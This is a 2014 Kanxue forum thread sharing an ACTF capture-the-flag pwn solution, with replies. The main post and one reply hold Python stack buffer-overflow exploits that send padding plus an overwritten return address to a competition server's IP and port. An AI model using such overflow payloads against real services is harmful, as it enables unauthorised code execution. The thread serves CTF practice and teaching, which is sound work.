[原创]ACTF EXP分析-Pwn-看雪-安全社区|安全招聘|kanxue.com

[原创]ACTF EXP分析

发表于: 2014-4-10 16:56 6993

[原创]ACTF EXP分析

JoySauce

2014-4-10 16:56

6993

# -*- coding:utf-8 -*-
import socket
import struct
# 新建套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   
#和服务端连接
s.connect(('218.2.197.236 ', 2009))
   
print s.recv(4096)
   
# 转换为\x5c\x85\x04\x08  可以用print repr(str)输出
str = struct.pack("I", 0x0804855C)
   
s.send("1"*128 + str + '\n')
   
#一直输出，当看到有结果了，暂停程序即可。
while(1):
    print s.recv(4096)
   
# 关闭套接字
s.close()

登录后可查看完整内容

[注意]看雪招聘，专注安全领域的专业人才平台！

上传的附件：

1.png （10.49kb，2次下载）
2.jpg （23.95kb，2次下载）
3.png （8.59kb，2次下载）
4.png （11.63kb，2次下载）
5.png （5.35kb，2次下载）
11.png （2.28kb，2次下载）
12.jpg （40.56kb，2次下载）
13.jpg （38.23kb，2次下载）
14.jpg （41.94kb，2次下载）
15.jpg （42.05kb，2次下载）
16.png （26.82kb，2次下载）
17.jpg （43.21kb，2次下载）
18.png （22.72kb，2次下载）
19.png （21.54kb，2次下载）
pwn.zip （52.66kb，16次下载）

收藏・4

免费・5

支持

赞赏记录

参与人

雪币

留言

时间

心游尘世外

为你点赞~

2024-5-31 07:50

QinBeast

为你点赞~

2024-5-31 07:40

飘零丶

为你点赞~

2024-5-31 02:20

shinratensei

为你点赞~

2024-5-31 02:02

PLEBFE

为你点赞~

2023-3-5 04:11

最新回复 (7)

binlanone

雪币： 211

活跃值： (52)

能力值：

( LV2，RANK：10 )

在线值：

发帖

回帖

粉丝

关注

私信

binlanone: 2 楼

观望。。。。。

2014-4-10 17:03

代码疯子

雪币： 270

活跃值： (97)

能力值：

( LV8，RANK：140 )

在线值：

发帖

回帖

423

粉丝

关注

私信

代码疯子 3: 3 楼

赞 {您输入的信息太短，您发布的信息至少为 4 个字符。}

2014-4-10 18:58

moyiah

雪币： 1644

活跃值： (829)

能力值：

( LV10，RANK：161 )

在线值：

发帖

回帖

粉丝

关注

私信

moyiah 2: 4 楼

支持，我很需要

2014-4-10 19:14

曹小杰

雪币： 19

活跃值： (155)

能力值：

( LV5，RANK：60 )

在线值：

发帖

回帖

粉丝

关注

私信

曹小杰 1: 5 楼

第一题我那天思路和你的一样，但是不知道why，exp就是溢出不了，估计是我Python不太熟。

2014-4-10 19:15

曹小杰

雪币： 19

活跃值： (155)

能力值：

( LV5，RANK：60 )

在线值：

发帖

回帖

粉丝

关注

私信

曹小杰 1: 6 楼

楼主，第二题那个malloc的细节是因为内存中，在堆分配的时候地址需要对其的原因，因为你的机器是64系统，按照内存对其的话，应该是按照8字节对其，4*8 == 32　＝＝ 0x20，所以不应该相差25而是相差32。

2014-4-10 19:22

rodent

雪币： 81

活跃值： (56)

能力值：

( LV3，RANK：30 )

在线值：

发帖

回帖

粉丝

关注

私信

rodent: 7 楼

import telnetlib
c = telnetlib.Telnet('218.2.197.236', 2009)
c.read_until("world", timeout=10)
c.write("\x5c\x85\x04\x08"*33+"\r\n")
print c.read_until("xxxxxxxx", timeout=5)
c.close()